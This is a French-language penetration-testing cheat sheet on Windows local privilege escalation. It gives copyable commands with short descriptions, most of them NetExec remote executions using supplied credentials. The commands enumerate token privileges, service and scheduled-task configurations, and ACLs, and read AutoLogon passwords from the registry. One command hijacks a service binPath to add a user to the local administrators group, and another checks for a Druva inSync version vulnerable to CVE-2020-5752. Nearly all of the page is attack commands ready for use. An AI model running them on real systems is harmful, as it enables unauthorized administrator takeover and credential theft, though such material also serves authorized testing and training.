Windows Privilege Escalation

Local PrivEsc

Services mal configurés, tâches planifiées et credentials en clair pour escalade locale.

Copy command

winpeas.exe

Description: WinPEAS : énumération automatique des vecteurs de privesc locaux Windows.

Copy command

nxc smb $TARGET -u $USER -p $PASS -x 'whoami /priv'

Description: Lister les privilèges token à distance : identifier les vecteurs potentiels.

Copy command

nxc smb $TARGET -u $USER -p $PASS -x 'sc qc $SERVICE'

Description: Inspecter la config d'un service : binary path modifiable = privesc via service hijacking.

Copy command

nxc smb $TARGET -u $USER -p $PASS -x 'icacls C:\Path\To\Service.exe'

Description: Vérifier les ACLs sur le binaire du service : (F) ou (W) pour notre groupe = exploitation.

Copy command

nxc smb $TARGET -u $USER -p $PASS -x 'schtasks /query /fo LIST /v | findstr /i "task name\|run as"'

Description: Lister les tâches planifiées avec leurs comptes d'exécution : trouver celles qui tournent en SYSTEM.

Copy command

nxc smb $TARGET -u $USER -p $PASS -x 'reg query HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon'

Description: AutoLogon credentials dans le registre : fréquemment oubliés sur des serveurs configurés manuellement.

Copy command

Get-Service $SERVICE | Get-ServiceAcl | select -ExpandProperty Access

Description: Abus d'ACL de service (distinct de l'unquoted path / binaire inscriptible) : un droit ChangeConfig sur un service permet de reconfigurer son binPath même si le chemin d'installation lui-même n'est pas inscriptible.

Copy command

sc.exe config $SERVICE binPath= "cmd.exe /c net localgroup administrators $USER /add" && sc.exe stop $SERVICE && sc.exe start $SERVICE

Description: Reconfigure le binPath puis (re)démarre le service pour exécuter la commande en SYSTEM. Le start peut timeout/échouer, sans importance : la commande s'exécute au moment de ChangeServiceConfig/tentative de démarrage.

Copy command

Get-WmiObject Win32_Product | Where-Object { $_.Name -match 'inSync|Druva' }

Description: CVE-2020-5752 (Druva inSync < 6.6.3) : agent RPC en écoute sur 127.0.0.1:6064, injection de commande via path traversal dans le binaire invoqué. Le service tourne en SYSTEM, exploitable indépendamment du token du process appelant.